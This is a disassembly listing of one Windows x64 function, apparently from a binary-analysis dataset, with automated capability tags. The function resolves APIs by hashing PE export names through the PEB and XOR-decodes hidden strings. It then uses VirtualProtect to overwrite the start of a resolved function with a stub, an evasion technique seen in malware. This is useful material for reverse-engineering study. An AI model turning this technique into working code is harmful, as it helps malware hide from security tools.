Function at 0x1400497f0
Capabilities:
Access peb ldr_data
Encode data using xor
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0xb0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
xor ebx, ebx
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140049898
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140049898
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov eax, dword [rax + r11]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x140049893
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x140049870
cmp edx, 0xe463da3c
je 0x140049fcf
test r8d, r8d
jne 0x140049850
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x1400498ad
cmp qword [rax + 0x30], rbx
jne 0x140049820
mov r8, rbx
cmp byte [0x1400e0ed9], bl
movsd xmm0, qword [str._BSTU]
movzx eax, word [0x1400e0ed8]
movsd qword [rbp - 0x59], xmm0
mov word [rbp - 0x51], ax
je 0x1400498f8
xor byte [rbp - 0x58], 0x36
xor byte [rbp - 0x57], 0x37
xor byte [rbp - 0x56], 0x38
xor byte [rbp - 0x55], 0x39
xor byte [rbp - 0x54], 0x3a
xor byte [rbp - 0x53], 0x3b
xor byte [rbp - 0x52], 0x3c
xor byte [rbp - 0x51], 0x3d
xor byte [rbp - 0x50], 0x3e
mov byte [rbp - 0x59], WSAGetLastError
mov qword [rsp + 0xe8], r12
lea rcx, [rbp - 0x59]
mov qword [rsp + 0xf0], r13
mov qword [rsp + 0xf8], r15
movaps xmmword [rsp + 0xa0], xmm6
movaps xmmword [rsp + 0x90], xmm7
movaps xmmword [rsp + 0x80], xmm8
call r8
mov r10, rax
test rax, rax
je 0x140049f8e
movzx ecx, word [0x1400e0f68]
mov eax, Ordinal_32
movups xmm0, xmmword [str.qTPmPhQRJZ]
mov r12d, dword [reloc.WS2_32.dll_accept]
mov r8d, ebx
mov word [rbp - 0x11], cx
movzx ecx, byte [0x1400e0f6a]
lea r13d, [rax - 0x1a]
mov byte [rbp - 0xf], cl
movups xmmword [rbp - 0x21], xmm0
cmp r12d, 2
jl 0x140049ac1
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp - 0x1d]
movdqa xmm5, xmmword [0x1400e12f0]
movdqa xmm4, xmmword [0x1400e16c0]
movdqa xmm7, xmmword [0x1400e1320]
movdqa xmmword [rbp - 9], xmm0
mov edx, dword [rbp - 9]
movd xmm6, r13d
movd xmm8, eax
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400e1360]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e1360]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1400499b0
cmp r8d, 0x13
jge 0x140049b04
movsxd rax, r8d
lea r9, [rbp - 0x21]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x140049ad0
lea rdx, [rbp - 0x21]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
je 0x140049f8e
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140049bb8
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140049bb8
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140049bb3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140049b90
cmp edx, 0xe463da3c
je 0x140049fec
test r8d, r8d
jne 0x140049b70
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x140049bcd
cmp qword [rax + 0x30], rbx
jne 0x140049b40
mov r10, rbx
mov eax, dword [0x1400e0e10]
mov r8d, ebx
movsd xmm0, qword [str.SEVV_b]
mov edi, Ordinal_32
mov dword [rbp - 0x40], eax
movzx eax, byte [0x1400e0e14]
mov byte [rbp - 0x3c], al
movsd qword [rbp - 0x48], xmm0
cmp r12d, 2
jl 0x140049d12
movdqa xmm2, xmmword [0x1400e12f0]
mov r8d, 8
movdqa xmm3, xmmword [0x1400e1310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e16c0]
movdqa xmm0, xmm2
mov eax, dword [str.5555555555555555]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r13d
movd xmm5, edi
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e1320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400e1360]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.SEVV_b]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp - 0x48], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e1320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e1360]
movd xmm1, dword [rbp - 0x44]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
pxor xmm2, xmm1
movd dword [rbp - 0x44], xmm2
movsxd rax, r8d
lea r9, [rbp - 0x48]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140049d20
lea rcx, [rbp - 0x48]
call r10
mov r9, rax
test rax, rax
je 0x140049f8e
movzx ecx, byte [0x1400e0ef0]
mov byte [rbp - 0x49], cl
movups xmm0, xmmword [str.aSEUPTZHXnM__07E]
movups xmmword [rbp - 0x59], xmm0
cmp r12d, 2
jl 0x140049ece
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp - 0x55]
movdqa xmm5, xmmword [0x1400e12f0]
movdqa xmm4, xmmword [0x1400e16c0]
movdqa xmm7, xmmword [0x1400e1320]
movdqa xmmword [rbp - 9], xmm0
mov edx, dword [rbp - 9]
movd xmm6, r13d
movd xmm8, edi
nop dword [rax]
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ebx, 8
pmuldq xmm1, xmm4
mov eax, ebx
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400e1360]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e1360]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp ebx, 0x10
jl 0x140049dc0
cmp eax, 0x11
jge 0x140049f0f
movsxd rax, ebx
lea r8, [rbp - 0x59]
add r8, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
lea r8, [r8 + 1]
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, bl
inc ebx
sub al, cl
add al, 0x35
xor byte [r8 - 1], al
cmp ebx, 0x11
jl 0x140049ee0
lea rdx, [rbp - 0x59]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140049f8e
xor ecx, ecx
lea r9, [rbp + 0x67]
mov dword [rbp - 0x29], ecx
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
mov ecx, 0x6a
mov dword [rbp - 0x2d], eax
mov word [rbp - 0x39], cx
mov eax, 0xd0ff
mov byte [rbp - 0x37], 0x68
mov dword [rbp - 0x35], 0xffffffff
lea edx, [rcx - 0x56]
mov byte [rbp - 0x31], 0xb8
lea r8d, [rcx - 0x66]
mov word [rbp - 0x29], ax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140049f8e
movups xmm0, xmmword [rbp - 0x39]
mov eax, dword [rbp - 0x29]
lea r9, [rbp + 0x67]
mov edx, reloc.WS2_32.dll_sendto
mov rcx, r15
movups xmmword [r15], xmm0
mov dword [r15 + 0x10], eax
mov r8d, dword [rbp + 0x67]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movaps xmm8, xmmword [rsp + 0x80]
xor eax, eax
movaps xmm7, xmmword [rsp + 0x90]
movaps xmm6, xmmword [rsp + 0xa0]
mov r15, qword [rsp + 0xf8]
mov r13, qword [rsp + 0xf0]
mov r12, qword [rsp + 0xe8]
add rsp, 0xb0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
jmp 0x1400498b0
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x140049bd0